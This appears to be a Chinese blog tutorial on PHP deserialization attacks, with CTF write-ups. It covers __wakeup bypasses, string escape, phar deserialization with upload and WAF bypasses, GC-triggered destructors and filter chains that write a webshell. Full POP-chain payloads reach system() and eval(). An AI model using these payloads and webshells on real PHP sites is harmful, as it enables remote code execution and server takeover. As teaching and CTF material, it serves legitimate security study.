//正常payload O:1:“A”:2:{ s:4:“info”; O:1:“B”:1:{s:3:“end”;N;} s:4:"Aend";s:1:“1”;} //外部类属性值长度异常,先外类__destruct()后内类__wakeup() O:1:“A”:2:{ s:4:“info”; O:1:“B”:1:{s:3:“end”;N;} s:4:"Aend";s:2:“1”;} O:1:“A”:2:{ s:4:“info”; O:1:“B”:1:{s:3:“end”;N;} s:4:"Aend";s:1:“12”;}

去掉内部类的分号#

作用:

  • 这样内部类直接回收,外部类没事,可以直接不执行内部类的__wakeup
  • 外部类去掉分号同理。
  • 如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类__wakeup
Copy
//正常payload O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;} //去掉了内部类的分号的payload O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N}s:3:“end”;s:2:“1”;} 注:使用前提是分号前面这个数据不可以是payload,否则将导致payload无法识别而被抛弃,如果它是一些无关紧要的数据,那就可以随便丢。

其他方法#

Copy
__wakeup() //反序列化检查类中的wakeup方法,存在则先执行再反序列化 该魔术方法存在绕过的可能性 方法: 1.C绕过 C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容。就绕过了wakeup 2.__unserialize()魔术方法 条件:PHP 7.4.0+ 如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。 3. fast-destruct 方法有两种,删除末尾的花括号、数组对象占用指针(改数字) $a = new a(); $arry=array(a,"1234"); $result=serialize($arry); echo $result; //正常payload: a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;} //删除末尾花括号payload: a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”; //数组对象占用指针payload(数组下标都是0,导致指针出问题) a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:0;s:4:“1234”;}

Invoke#

Copy
// __invoke()当对象被当做方法使用时,这个方法会被自动调用 class syc { public $cuit; public function __destruct() { echo("action!"); $function=$this->cuit; return $function(); } } class lover { public $yxx; public $QW; public function __invoke() { return '执行invoke' } } unserialize($_POST['url']); 目的:调用__invoke()方法 解法:syc类的__destruct(),实例化对象结束触发,反序列化结束也会触发,因此一定会被执行 它返回一个函数调用,那么只要让这个函数名等于lover类的对象就可以调用__invoke()方法了 $a=new syc(); $b=new lover(); $a->cuit=$b; echo serialize($a); 输出:O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";N;s:2:"QW";N;}} action!执行invoke 同时也调用了__destruct()和__invoke()方法, 因此只要让url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";N;s:2:"QW";N;}}即可

Call#

​ 可见如果一个不可访问的属性被访问且调用了__get()方法后会将这个属性的值传给__get()的参数。 __call()也是一个道理,如果调用了一个不存在或不可访问的函数则会把函数名赋给__call()中的第一个变量,函数中的值则会赋给第二个参数

Copy
class my_class{ public function __call($name,$args){ return $name.$args[0].$args[1]; } } $a=new my_class(); echo $a->my_func_('value1','valuse2');

字符串逃逸#

1.反序列化的识别范围

​ php在反序列化时,底层代码是以 ; 作为字段的分隔,以 ;} 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。

Copy
unserialize('O:1:"A":2:{s:2:"T1";s:3:"123";s:2:"T2";s:3:"abc";}s:2:"T3";s:4:"test";}'); //只序列化O:1:"A":2:{s:2:"T1";s:3:"123";s:2:"T2";s:3:"abc";}的内容 //超出的部分并不会被反序列化成功

2.元素长度必须一致

​ 反序列化的时候php会根据 s / i 等,所指定的长度去读取后边的字符。如果指定的长度错误则可能反序列化就会失败

Copy
O:1:"A":2:{s:2:"T2";s:4:"abc";} // s:4:"abc" 导致反序列化失败 O:1:"A":2:{s:5:"T2";s:3:"abc";} // 如果 指定长度 > 实际长度,则会向后面继续读取内容,即 T2";s

3.反序列化是可以反序列化原本不存在的元素

Copy
O:1:"A":2:{s:2:"T1";s:3:"123";s:2:"sb";s:3:"you";} //不存在的元素: s:2:"sb";s:3:"you" => $sb="you";

4.字符串逃逸原理

Copy
1.在数据进行序列化后进行了`过滤`或者是`字符替换` 2.通过过滤或者字符替换`导致字符串长度发生变化` 如果:字符串长度边长: 则构造:[过滤字段]"[自定义内容];} // 使元素长度 = 过滤字段变长后的字段长度 " 字符串长度变短: 构造:a=[过滤字段]&b=[凑字内容]";[自定义内容] // 利用过滤字段变短,向后读取我们凑字的内容,恰好到分号,再识别后面的自定义内容 "

例如:过滤后导致序列化字符串变长

Copy
<?php highlight_file(__FILE__); #error_reporting(0); function filter($str){ return preg_replace( '/i/','ww', $str); //将字符串中的 “i” 替换为 “ww” } $login['name'] = $_GET['name']; $login['money'] = '999'; $new = filter(serialize($login)); // 将数组login序列化,并过滤序列化字符串 printf($new."</br>"); $last = unserialize($new); var_dump($last); if($last['money']<1000){ echo "You need more money"; }else{ echo file_get_contents('flag.php'); } ?> 例如: 我们输入 name=whoami 构造的序列化字符串为:a:2:(s:4:"name";s:6:"whoamww";s:5:"money";s:3:"999";} // “whoami” 替换为 “whoamww” 导致元素长度不一致,序列化失败 我们知道 money > 999 才能获得flag,所以我用字符串逃逸方法构造pyload 用name='";s:5:"money";s:4:"1000";}'去闭合前面的序列化字符串,由于序列化字符串是以 ;} 作为结尾的,那么我们就可以去构造序列化字符串进行闭合,使得后面的字符'";s:5:"money";s:3:"999";}'不被识别。 但是s指定长度必须与后面字符长度相匹配,而我们构造的序列化字符'";s:5:"money";s:4:"1000";}',长度为26,我们分析代码已经知道了当输入一个"i"会替换成"ww",如果我们输入26"i",那么就会被替换成52"w",那么我们可以原始输入26"i",加上构造的反序列化字符串'";s:5:"money";s:4:"1000";}',刚好是52位。 pyload: ?name=iiiiiiiiiiiiiiiiiiiiiiiiii";s:5:“money”;s:4:“1000”;} //52位字符

phar反序列化#

​ phar是PHP中的一种打包文件,一个应用程序可以打成一个phar包。一个php程序可以打成一个phar包,放到php-fpm中运行。

Copy
phar文件结构 1.stub:xxx<?php xxx;__HALT_COMPILER();?>,前面的内容不限,但是必须以__HALT_COMPILER();?>结尾,否则phar扩展无法识别这个文件为phar文件。 2.manifest:phar文件中的一些信息,其中的meta-data部分以序列化形式存储,是漏洞利用关键点。 3.contents:被压缩文件内容,可以随便写 4.signature:文件签名。(如果我们修改了文件的内容,之前的签名就会无效,就需要更换一个新的签名)

​ 在文件系统函数(file_exists()、is_dir()等详见下表)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

受影响函数列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

生成phar文件:

Copy
//生成phar文件 <?php class AnyClass{ var $output = ''; function __construct(){ echo '生成完成...'; } } $phar = new Phar('phar.phar'); //被生成的文件,必须是phar做为后缀名 $phar -> stopBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); //phar标志,必须以__HALT_COMPILER();\?\>结尾,前面的内容随便 $phar -> addFromString('vfree.txt','vfree'); //要写入的文件和文件内容 $object = new AnyClass(); //初始化类 $object -> output= 'system($_GET["cmd"]);'; //往类里面的output变量写入systemxxx $phar -> setMetadata($object); //将meta-data写入manifest $phar -> stopBuffering();

image-20240429232426386

运行这个php文件后,会在当前目录下生成一个phar.phar文件
构造下面的语句,使用受影响的函数包含phar文件

Copy
<?php show_source(__FILE__); $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this->output); } } file_exists('phar://phar.phar/vfree.txt');

image-20240429232915948

phar://伪协议

Copy
phar://压缩包名/内部文件名 (PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行) 例如: <?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $o = new TestObject(); //自定义类 $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> <?php $filename = 'phar://phar.phar/test.txt'; #phar协议,phar.phar包,和保存在phar包中的文件test.txt file_exists($filename); #受影响的file_exists函数 将会反序列化输出test.txt内容,然后还会执行当前TestObject类中的析构函数,如果当前没有写TestObject类的话,单纯执行反序列化只会输出test内容

漏洞利用条件:

Copy
phar文件要能够上传到服务器端。 php 版本等于或者高于 5.3 php.ini中的phar.readonly设置为Off(默认为On) 有 file_exists(), fopen() , file_get_contents(), file() 等文件操作的函数。 要有可用的魔术方法作为“跳板”。 文件操作函数的参数可控,且 : 、 / 、 phar 等特殊字符没有被过滤。

WAF绕过
1,前缀限制不能出现phar:

Copy
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar

2,验证文件格式:

Copy
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

3.绕过上传后缀检查:

将phar.phar更名为phar.gif 不影响phar文件的最终执行

4.__HALT_COMPILER头部检测

Copy
1.压缩文件 gzip phar.phar //真正的压缩了文件 python脚本: import gzip with open('./evil.phar', 'rb') as file: #更改⽂件后缀 data = file.read() ndata = gzip.compress(data) with open('./evil.jpg', 'wb') as file: #更改⽂件后缀 file.write(ndata) 2.哈希绕过 python脚本: from hashlib import sha1 import gzip with open('ezxy2.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 h = f[-8:] # 获取签名类型以及GBMB标识 new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) f_gzip = gzip.GzipFile("ezxyy2.jpg", "wb") f_gzip.write(new_file) f_gzip.close()

5.函数截断

Copy
__halt_compiler()函数可以截断程序 例如: $cmd="system('cat /flag');__halt_compiler();" eval($cmd.'isbigvegetablechicken!'); //截断了后面的脏数据

漏洞防护:

Copy
在文件系统函数的参数可控时,对参数进行严格的过滤。 严格检查上传文件的内容,而不是只检查文件头。 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

五、GC回收机制#

初识GC#

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。

​ 垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

代码演示#

一个对象如果没有任何引用,会被当成垃圾回收吗?

Copy
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } new errorr(1); $a = new errorr(2); $b = new errorr(3); ?>

image-20240413161934513

​ new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。

另一种情况:

​ 如果没有指向可以,那如果在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。

Copy
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $c = array(new errorr(1),0); $c[0] = $c[1]; $a = new errorr(2); $b = new errorr(3); ?>

image-20240413162331020

结果依然是立即触发了destruct()方法

讲解例题#

Copy
<?php highlight_file(__FILE__); error_reporting(0); class errorr0{ public $num; public function __destruct(){ echo "hello __destruct".'<br>'; echo $this->num; } } class errorr1{ public $err; public function __toString() { echo "hello __toString".'<br>'; $this->err->flag(); } } class errorr2{ public $err; public function flag() { echo "hello __flag()"; eval($this->err); } } $a=unserialize($_GET['url']); throw new Exception("就这?"); //throw new Exception();阻止__destruct()执行的抛错 ?>

​ 这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

写一个pyload脚本

Copy
$a=new errorr0(); $a->num=new errorr1(); $a->num->err=new errorr2(); $a->num->err->err='phpinfo();'; echo serialize($a); //输出: //O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}

​ 如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。

根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。

所以,我们先看修改后的exp

Copy
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); $c = array(0=>$a,1=>NULL); echo serialize($c); ?>

可以看出来,本质上没有区别,唯一不同的是加了一行代码:

Copy
$c = array(0=>$a,1=>NULL);

目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:

Copy
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己试试。解释一下这串字符。

第一个a为数组,2为数组中键有两个 i = 0以及 i = 1

重点:虽然有两个键i = 0对应的是我们目标对象,i = 1是NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:

Copy
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

综上所述,我们可以构造这样的格式

Copy
a:2:{i:0; + [your_payload] + i:0;N;}

Filterchain构造#

死亡代码#

Copy
<?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content);

当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。我们
利用编码的方式,将死亡代码解码成乱码来绕过

这里我们以base64编码为例,我们目的是写马<?php eval($_POST['shell']);?>,将其base64编码一下

Copy
txt=PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+&filename=php://filter/write=convert.base64-decode/resource=1.php

拼接上前面的死亡代码,得到如下

Copy
<?php exit; ?>PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+

但是我们base64解码会发现出现乱码,如何解决呢

直接解码:
image-20240520191916090

全是 乱码,因为base64解码是4个字节为一组,我们的shell部分被破坏了,所以我们要凑一下字数。

那么去除掉不可见字符< ? > ;后,我们需要手动添加一个a,组成phpe xita使得绕过死亡代码

image-20240520192122577

php_filter_chain生成一句话木马#

github项目地址

六、CTF实战#

1.easy unserialize#

Copy
<?php include("./HappyYear.php"); class one { public $object; public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); } public function __destruct() { @$this->object->add(); } public function __toString() { return $this->object->string; } } class second { protected $filename; protected function addMe() { return "Wow you have sovled".$this->filename; } public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); } } class third { private $string; public function __construct($string) { $this->string = $string; } public function __get($name) { $var = $this->$name; $var[$name](); } } if (isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道"); } else { highlight_file(__FILE__); }

2.xyctf ezpop#

Copy
<?php error_reporting(0); highlight_file(__FILE__); class AAA { public $s; public $a; public function __toString() { echo "you get 2 A <br>"; $p = $this->a; return $this->s->$p; } } class BBB { public $c; public $d; public function __get($name) { echo "you get 2 B <br>"; $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); } } class CCC { public $c; public function __destruct() { echo "you get 2 C <br>"; echo $this->c; } } if(isset($_GET['xy'])) { $a = unserialize($_GET['xy']); throw new Exception("noooooob!!!"); }

相关知识

Copy
current(array) 函数:返回数组中的当前元素的值。 每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。 提示:该函数不会移动数组内部指针。 相关的方法: end() - 将内部指针指向数组中的最后一个元素,并输出。 next() - 将内部指针指向数组中的下一个元素,并输出。 prev() - 将内部指针指向数组中的上一个元素,并输出。 reset() - 将内部指针指向数组中的第一个元素,并输出。 each() - 返回当前元素的键名和键值,并将内部指针向前移动。 可变函数; call_user_func($a,$b)($c)($d); 函数 call_user_func($a,$b) 的返回值作为函数名与 ($c) 组合成新的函数 f($c) ,f($c)的返回值在与($d)结合成新的函数 F($d). 如果 $c$d 的值为空或者组合的函数报错,不影响前面的函数执行,例如: call_user_func('current',['system'])("whoami")(); call_user_func($a,$b)='system' //正常执行 f($c)=system('whoami') //正常执行 F($d)=xxxx() //报错

write up

Copy
class AAA { public $s; // 3. 赋值为BBB对象 public $a; public function __toString() { echo "you get 2 A <br>"; $p = $this->a; return $this->s->$p; // 4.访问 s属性 的 p属性,但是 BBB类里没有 p属性,因此会触发get方法 } } class BBB { public $c; // 任意命令执行 public $d; public function __get($name) { echo "you get 2 B <br>"; $a=$_POST['a']; // a赋值为current (获取数组中的当前值) $b=$_POST; // b赋值为system,通过current获取system字段 $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); // a是post值 ,b是post数组 ,那么可以使用current函数作为回调,调用数组中的第一个值,也就是system,那现在就变成了 system($c)($d); 通过改变属性c 的值,执行任意命令 } } class CCC { public $c; //1.赋值为AAA对象 public function __destruct() //需要绕过throw new Exception("noooooob!!!"); { echo "you get 2 C <br>"; echo $this->c; //2.通过echo c属性,来执行AAA中的tostring方法 } } pyload: ?xy=a:2:{i:0;O:3:%22CCC%22:1:{s:1:%22c%22;O:3:%22AAA%22:2:{s:1:%22s%22;O:3:%22BBB%22:2:{s:1:%22c%22;s:6:%22whoami%22;s:1:%22d%22;N;}s:1:%22a%22;N;}}i:0;N;} a=current&b=system

3.BaseCTF2024#

考点:反序列化,特殊变量名传参,gc回收,引用绕过,反序列化逃逸

源码:

Copy
<?php highlight_file(__file__); function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start); } class Hacker{ public $start; public $end; public $username="hacker"; public function __construct($start){ $this->start=$start; } public function __wakeup(){ $this->username="hacker"; $this->end = $this->start; } public function __destruct(){ if(!preg_match('/ctfer/i',$this->username)){ echo 'Hacker!'; } } } class C{ public $c; public function __toString(){ $this->c->c(); return "C"; } } class T{ public $t; public function __call($name,$args){ echo $this->t->t; } } class F{ public $f; public function __get($name){ return isset($this->f->f); } } class E{ public $e; public function __isset($name){ ($this->e)(); } } class R{ public $r; public function __invoke(){ eval($this->r); } } if(isset($_GET['ez_ser.from_you'])){ $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}'); if(preg_match("/\[|\]/i", $_GET['substr'])){ die("NONONO!!!"); } $pre = isset($_GET['substr'])?$_GET['substr']:"substr"; $ser_ctf = substrstr($pre."[".serialize($ctf)."]"); $a = unserialize($ser_ctf); throw new Exception("杂鱼~杂鱼~"); }

先是链子,根据魔术方法的调用方式就能把链子构造出来了

Copy
Hacker::__destruct => C::__toString => T::__call => F::__get => E::__isset => R::__invoke

接着是绕 __wakeup

Copy
public function __wakeup(){ $this->username="hacker"; $this->end = $this->start; }

下边有一个赋值的操作,所以可以使用引用绕过,当endusername相互引用时,修改end的值也是在修改username的值。

接着是绕过throw new Exception("杂鱼~杂鱼~");,这里有一个异常抛出,使得__destruct并不能触发,这时就需要使用gc回收的机制,使__destruct提前触发,让pop链能够往后走

参考连接:PHP反序列化

至此,pop链可以写出来了。

Copy
$a = new Hacker(); $a->end = &$a->username; $a->start = new C(); $a->start->c = new T(); $a->start->c->t = new F(); $a->start->c->t->f = new E(); $a->start->c->t->f->e = new R(); $a->start->c->t->f->e->r = 'system("whoami");'; $b=array('1'=>$a,'2'=>null); echo serialize($b); //a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}

然后把末尾的i:2;N;}改成i:1;N;},即把2改成1

Copy
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

特殊变量名 ez_ser.from_you,传入ez[ser.from_you即可绕过

最后是逃逸

Copy
function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start); }

在本地测试一下,计算我们需要截掉几个字节

题目正常序列化 serialize($ctf),得到

Copy
O:6:"Hacker":3:{s:5:"start";s:218:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

显然,前面的 O:6:"Hacker":3:{s:5:"start";s:218:"{{{ 这部分并不是我们需要的,必须截掉,因此传入

Copy
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab

把前面没用的38个字符截掉

最终传入

Copy
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
posted @   波波sama  阅读(56)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示
目录